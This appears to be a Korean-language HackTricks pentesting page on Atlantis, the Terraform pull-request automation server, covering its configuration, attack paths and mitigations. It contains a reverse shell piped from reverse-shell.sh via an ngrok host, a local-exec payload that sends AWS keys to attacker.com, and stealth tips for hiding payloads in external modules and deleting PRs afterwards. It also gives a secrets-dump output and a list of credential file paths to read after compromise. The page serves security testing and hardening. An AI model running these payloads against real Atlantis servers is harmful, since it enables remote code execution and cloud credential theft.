Atlantis Security

Support HackTricks

Basic Information

Atlantis는 기본적으로 git 서버의 Pull Requests에서 terraform을 실행하는 데 도움을 줍니다.

Local Lab

  1. https://github.com/runatlantis/atlantis/releases에서 atlantis 릴리스 페이지로 가서 다운로드합니다.

  2. github 사용자에 대한 개인 토큰(repo 접근 권한 포함)을 생성합니다.

  3. ./atlantis testdrive를 실행하면 atlantis와 대화할 수 있는 데모 repo가 생성됩니다.

  4. 127.0.0.1:4141에서 웹 페이지에 접근할 수 있습니다.

Atlantis Access

Git Server Credentials

AtlantisGithub, Gitlab, BitbucketAzure DevOps와 같은 여러 git 호스트를 지원합니다. 그러나 이러한 플랫폼의 repo에 접근하고 작업을 수행하려면 특권 접근 권한이 부여되어야 합니다(최소한 쓰기 권한). 문서에서는 Atlantis 전용 사용자를 이러한 플랫폼에서 생성할 것을 권장하지만, 일부 사람들은 개인 계정을 사용할 수 있습니다.

어쨌든 공격자의 관점에서 Atlantis 계정타겟으로 삼기에 매우 흥미로운 계정이 될 것입니다.

Webhooks

Atlantis는 선택적으로 Webhook secrets를 사용하여 Git 호스트에서 수신하는 webhooks정당한 것인지 확인합니다.

이를 확인하는 한 가지 방법은 Git 호스트의 IP에서만 요청을 허용하는 것이지만, 더 쉬운 방법은 Webhook Secret을 사용하는 것입니다.

개인 github 또는 bitbucket 서버를 사용하지 않는 한, webhook 엔드포인트를 인터넷에 노출해야 한다는 점에 유의하십시오.

Atlantis는 webhooks를 노출하여 git 서버가 정보를 보낼 수 있도록 합니다. 공격자의 관점에서 메시지를 보낼 수 있는지 아는 것이 흥미로울 것입니다.

Provider Credentials

문서에서:

Atlantis는 서버 Atlantis가 호스팅되는 곳에서 terraform planapply 명령을 단순히 실행하여 Terraform을 실행합니다. 로컬에서 Terraform을 실행할 때와 마찬가지로, Atlantis는 특정 공급자에 대한 자격 증명이 필요합니다.

Atlantis에 특정 공급자에 대한 자격 증명을 제공하는 방법은 여러분에게 달려 있습니다:

  • Atlantis Helm ChartAWS Fargate Module에는 공급자 자격 증명에 대한 자체 메커니즘이 있습니다. 문서를 읽어보세요.

  • 클라우드에서 Atlantis를 실행하는 경우, 많은 클라우드에서 클라우드 API 접근을 애플리케이션에 제공하는 방법이 있습니다. 예:

  • AWS EC2 Roles (검색어: "EC2 Role")

  • 많은 사용자가 환경 변수를 설정합니다. 예: AWS_ACCESS_KEY, Atlantis가 실행되는 곳에서.

  • 다른 사용자는 필요한 구성 파일을 생성합니다. 예: ~/.aws/credentials, Atlantis가 실행되는 곳에서.

  • HashiCorp Vault Provider를 사용하여 공급자 자격 증명을 얻습니다.

Atlantis가 실행되는 컨테이너는 **AWS, GCP, Github...**와 같은 공급자에 대한 특권 자격 증명포함할 가능성이 높습니다.

Web Page

기본적으로 Atlantis는 localhost의 포트 4141에서 웹 페이지를 실행합니다. 이 페이지는 atlantis apply를 활성화/비활성화하고 repo의 계획 상태를 확인하고 잠금을 해제할 수 있도록 합니다(수정은 허용하지 않으므로 그리 유용하지는 않습니다).

인터넷에 노출되지 않을 가능성이 높지만, 기본적으로 접근하는 데 자격 증명이 필요하지 않습니다(필요한 경우 atlantis:atlantis기본 자격 증명입니다).

Server Configuration

atlantis server에 대한 구성은 명령줄 플래그, 환경 변수, 구성 파일 또는 이 세 가지의 조합을 통해 지정할 수 있습니다.

값은 이 순서로 선택됩니다:

  1. 플래그

  2. 환경 변수

  3. 구성 파일

구성에서 토큰 및 비밀번호와 같은 흥미로운 값을 찾을 수 있다는 점에 유의하십시오.

Repos Configuration

일부 구성은 repo 관리 방식에 영향을 미칩니다. 그러나 각 repo가 서로 다른 설정을 요구할 수 있으므로, 각 repo를 지정하는 방법이 있습니다. 우선 순위는 다음과 같습니다:

  1. Repo /atlantis.yml 파일. 이 파일은 atlantis가 repo를 어떻게 처리해야 하는지를 지정하는 데 사용될 수 있습니다. 그러나 기본적으로 일부 키는 이를 허용하는 플래그 없이 지정할 수 없습니다.

  2. 아마도 allowed_overrides 또는 allow_custom_workflows와 같은 플래그에 의해 허용되어야 합니다.

  3. 서버 측 구성: --repo-config 플래그로 전달할 수 있으며, 각 repo에 대한 새로운 설정을 구성하는 yaml입니다(정규 표현식 지원).

  4. 기본

PR Protections

Atlantis는 PR이 다른 사람에 의해 **승인**되기를 원하는지(브랜치 보호에 설정되지 않은 경우에도) 및/또는 병합 가능(브랜치 보호 통과)해야 하는지를 나타낼 수 있습니다 apply를 실행하기 전에. 보안 관점에서 두 옵션을 모두 설정하는 것이 권장됩니다.

allowed_overrides가 True인 경우, 이러한 설정은 /atlantis.yml 파일에서 각 프로젝트에 대해 덮어쓸 수 있습니다.

Scripts

repo 구성은 워크플로우가 실행되기 전 이전 (pre workflow hooks) 및 (post workflow hooks)에 실행할 스크립트지정할 수 있습니다.

repo /atlantis.yml 파일에서 이러한 스크립트를 지정할 수 있는 옵션은 없습니다.

Workflow

repo 구성(서버 측 구성)에서 새 기본 워크플로우를 지정하거나 새 사용자 정의 워크플로우를 생성할 수 있습니다. 또한 어떤 repo가 생성된 새로운 워크플로우에 접근할 수 있는지 지정할 수 있습니다. 그런 다음 각 repo의 atlantis.yaml 파일이 사용할 워크플로우를 지정할 수 있도록 허용할 수 있습니다.

서버 측 구성 플래그 allow_custom_workflowsTrue로 설정되면, 각 repo의 atlantis.yaml 파일에서 워크플로우를 지정할 수 있습니다. 또한 **allowed_overrides**가 **workflow**를 지정하여 사용될 워크플로우를 덮어쓸 수 있도록 해야 할 수도 있습니다. 이것은 기본적으로 해당 repo에 접근할 수 있는 모든 사용자에게 Atlantis 서버에서 RCE를 제공하게 됩니다.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Conftest 정책 검사

Atlantis는 계획 출력에 대해 서버 측 conftest 정책을 실행하는 것을 지원합니다. 이 단계를 사용하는 일반적인 사용 사례는 다음과 같습니다:

  • 모듈 목록 사용 거부

  • 생성 시 리소스의 속성 주장

  • 의도하지 않은 리소스 삭제 포착

  • 보안 위험 방지 (예: 보안 포트를 공개에 노출)

구성 방법은 문서에서 확인할 수 있습니다.

Atlantis 명령어

문서에서 Atlantis를 실행하는 데 사용할 수 있는 옵션을 찾을 수 있습니다:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

공격

악용 중에 다음과 같은 오류가 발생하면: Error: Error acquiring the state lock

다음 명령어를 실행하여 수정할 수 있습니다:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - 새로운 PR에서의 구성 수정

저장소에 대한 쓰기 권한이 있으면 새로운 브랜치를 생성하고 PR을 생성할 수 있습니다. **atlantis plan**을 실행할 수 있다면 (또는 자동으로 실행될 수도 있습니다) Atlantis 서버 내에서 RCE를 수행할 수 있습니다.

Atlantis가 외부 데이터 소스를 로드하도록 만들 수 있습니다. main.tf 파일에 다음과 같은 페이로드를 넣기만 하면 됩니다:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

은밀한 공격

이 공격은 다음 제안을 따름으로써 은밀한 방법으로 수행할 수 있습니다:

  • terraform 파일에 rev shell을 직접 추가하는 대신, rev shell이 포함된 외부 리소스로드할 수 있습니다:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

You can find the rev shell code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • 외부 리소스에서 ref 기능을 사용하여 레포의 브랜치에 있는 terraform rev shell 코드를 숨깁니다, 예를 들어: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

  • PR을 master에 생성하는 대신 Atlantis를 트리거하기 위해 2개의 브랜치(test1 및 test2)를 생성하고 하나에서 다른 쪽으로 PR을 생성합니다. 공격이 완료되면 PR과 브랜치를 제거하세요.

Atlantis plan Secrets Dump

다음과 같이 terraform 파일에 입력하여 atlantis plan (terraform plan)을 실행하여 terraform에서 사용되는 비밀을 덤프할 수 있습니다:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis apply RCE - 새로운 PR에서의 구성 수정

저장소에 대한 쓰기 권한이 있으면 새로운 브랜치를 생성하고 PR을 생성할 수 있습니다. atlantis apply를 실행할 수 있다면 Atlantis 서버 내에서 RCE를 수행할 수 있습니다.

그러나 일반적으로 몇 가지 보호 장치를 우회해야 합니다:

악의적인 Terraform 파일에서 terraform apply를 실행하는 것local-exec. 다음과 같은 페이로드가 main.tf 파일에 포함되도록 해야 합니다:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

이전 기술의 제안을 따라 이 공격을 더 은밀한 방법으로 수행하십시오.

Terraform 파라미터 주입

atlantis plan 또는 atlantis apply를 실행할 때 terraform이 실행되며, atlantis에서 다음과 같은 주석을 통해 terraform에 명령을 전달할 수 있습니다:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

env 변수를 전달할 수 있으며, 이는 일부 보호를 우회하는 데 도움이 될 수 있습니다. terraform env vars를 확인하세요: https://www.terraform.io/cli/config/environment-variables

Custom Workflow

atlantis.yaml 파일에 지정된 악의적인 사용자 정의 빌드 명령을 실행합니다. Atlantis는 **master**가 아닌 풀 요청 브랜치의 atlantis.yaml 파일을 사용합니다. 이 가능성은 이전 섹션에서 언급되었습니다:

서버 측 구성 플래그 allow_custom_workflowsTrue로 설정되면, 각 리포의 atlantis.yaml 파일에 워크플로를 지정할 수 있습니다. **allowed_overrides**가 워크플로재정의하도록 지정하는 것도 필요할 수 있습니다.

이것은 기본적으로 해당 리포에 접근할 수 있는 모든 사용자에게 Atlantis 서버에서 RCE를 제공합니다.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

계획/적용 보호 우회

만약 서버 측 구성 플래그 allowed_overridesapply_requirements로 설정되어 있다면, 레포가 계획/적용 보호를 수정하여 우회할 수 있습니다.

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

누군가 유효한 풀 리퀘스트에 atlantis plan/apply 댓글을 달면, 원하지 않을 때 terraform이 실행됩니다.

게다가, 새 커밋이 푸시될 때마다 모든 PR을 재평가하도록 브랜치 보호가 설정되어 있지 않다면, 누군가 악의적인 구성(이전 시나리오 확인)을 terraform 구성에 작성하고 atlantis plan/apply를 실행하여 RCE를 얻을 수 있습니다.

이것이 Github 브랜치 보호의 설정입니다:

Webhook Secret

웹훅 비밀훔치거나 웹훅 비밀이 사용되지 않는 경우, Atlantis 웹훅을 호출하고 atlantis 명령어를 직접 실행할 수 있습니다.

Bitbucket

Bitbucket Cloud는 웹훅 비밀지원하지 않습니다. 이는 공격자가 Bitbucket에서 요청을 스푸핑할 수 있게 합니다. Bitbucket IP만 허용하고 있는지 확인하세요.

  • 이는 공격자Bitbucket에서 오는 것처럼 보이는 가짜 요청을 Atlantis에 보낼 수 있음을 의미합니다.

  • --repo-allowlist를 지정하는 경우, 그들은 해당 리포지토리에 관련된 요청만 가짜로 만들 수 있으므로 그들이 할 수 있는 가장 큰 피해는 자신의 리포지토리에서 plan/apply하는 것입니다.

  • 이를 방지하기 위해 Bitbucket의 IP 주소를 허용 목록에 추가하세요 (아웃바운드 IPv4 주소 참조).

Post-Exploitation

서버에 접근하거나 최소한 LFI를 얻었다면, 읽어볼 만한 흥미로운 것들이 있습니다:

  • /home/atlantis/.git-credentials VCS 접근 자격 증명 포함

  • /atlantis-data/atlantis.db 더 많은 정보와 함께 VCS 접근 자격 증명 포함

  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Terraform 상태 파일

  • 예: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

  • /proc/1/environ 환경 변수

  • /proc/[2-20]/cmdline atlantis server의 명령줄 (민감한 데이터 포함 가능)

Mitigations

Don't Use On Public Repos

누구나 공개 풀 리퀘스트에 댓글을 달 수 있기 때문에, 모든 보안 완화 조치가 있더라도 적절한 보안 설정 없이 공개 리포지토리에서 Atlantis를 실행하는 것은 여전히 위험합니다.

Don't Use --allow-fork-prs

공개 리포지토리에서 실행 중이라면(위에서 권장하지 않음) --allow-fork-prs를 설정하지 말아야 합니다(기본값은 false) 왜냐하면 누구나 자신의 포크에서 귀하의 리포지토리로 풀 리퀘스트를 열 수 있기 때문입니다.

--repo-allowlist

Atlantis는 --repo-allowlist 플래그를 통해 웹훅을 수락할 리포지토리의 허용 목록을 지정해야 합니다. 예를 들어:

  • 특정 리포지토리: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

  • 전체 조직: --repo-allowlist=github.com/runatlantis/*

  • GitHub Enterprise 설치의 모든 리포지토리: --repo-allowlist=github.yourcompany.com/*

  • 모든 리포지토리: --repo-allowlist=*. 보호된 네트워크에 있을 때 유용하지만 웹훅 비밀을 설정하지 않으면 위험합니다.

이 플래그는 귀하의 Atlantis 설치가 귀하가 제어하지 않는 리포지토리와 함께 사용되지 않도록 보장합니다. 더 많은 세부정보는 atlantis server --help를 참조하세요.

Protect Terraform Planning

공격자가 악의적인 Terraform 코드를 포함한 풀 리퀘스트를 제출하는 것이 귀하의 위협 모델에 포함된다면, terraform apply 승인이 충분하지 않다는 것을 인식해야 합니다. external 데이터 소스를 사용하거나 악의적인 제공자를 지정하여 terraform plan에서 악의적인 코드를 실행할 수 있습니다. 이 코드는 귀하의 자격 증명을 유출할 수 있습니다.

이를 방지하기 위해 다음을 수행할 수 있습니다:

  1. 제공자를 Atlantis 이미지에 포함시키거나 호스팅하고 프로덕션에서 이그레스를 거부합니다.

  2. 내부적으로 제공자 레지스트리 프로토콜을 구현하고 공용 이그레스를 거부하여 레지스트리에 대한 쓰기 접근을 제어합니다.

  3. 서버 측 리포 구성plan 단계를 수정하여 허용되지 않은 제공자 또는 데이터 소스 또는 허용되지 않은 사용자로부터의 PR 사용을 검증합니다. 이 시점에서 추가 검증을 추가할 수도 있습니다. 예를 들어, plan이 계속 진행되기 전에 PR에 대한 "좋아요"를 요구할 수 있습니다. Conftest가 여기서 유용할 수 있습니다.

Webhook Secrets

Atlantis는 $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET 환경 변수를 통해 설정된 웹훅 비밀로 실행되어야 합니다. --repo-allowlist 플래그가 설정되어 있더라도, 웹훅 비밀이 없으면 공격자가 허용된 리포지토리인 척 하여 Atlantis에 요청을 보낼 수 있습니다. 웹훅 비밀은 웹훅 요청이 실제로 귀하의 VCS 제공자(GitHub 또는 GitLab)에서 오는 것임을 보장합니다.

Azure DevOps를 사용하는 경우, 웹훅 비밀 대신 기본 사용자 이름과 비밀번호를 추가하세요.

Azure DevOps Basic Authentication

Azure DevOps는 모든 웹훅 이벤트에서 기본 인증 헤더를 전송하는 것을 지원합니다. 이는 웹훅 위치에 HTTPS URL을 사용하는 것을 요구합니다.

SSL/HTTPS

웹훅 비밀을 사용하고 있지만 트래픽이 HTTP를 통해 전송되는 경우 웹훅 비밀이 도난당할 수 있습니다. --ssl-cert-file--ssl-key-file 플래그를 사용하여 SSL/HTTPS를 활성화하세요.

Enable Authentication on Atlantis Web Server

웹 서비스에서 인증을 활성화하는 것이 매우 권장됩니다. --web-basic-auth=true를 사용하여 BasicAuth를 활성화하고 --web-username=yourUsername--web-password=yourPassword 플래그를 사용하여 사용자 이름과 비밀번호를 설정하세요.

이것들을 환경 변수로도 전달할 수 있습니다 ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsernameATLANTIS_WEB_PASSWORD=yourPassword.

References

Support HackTricks

Last updated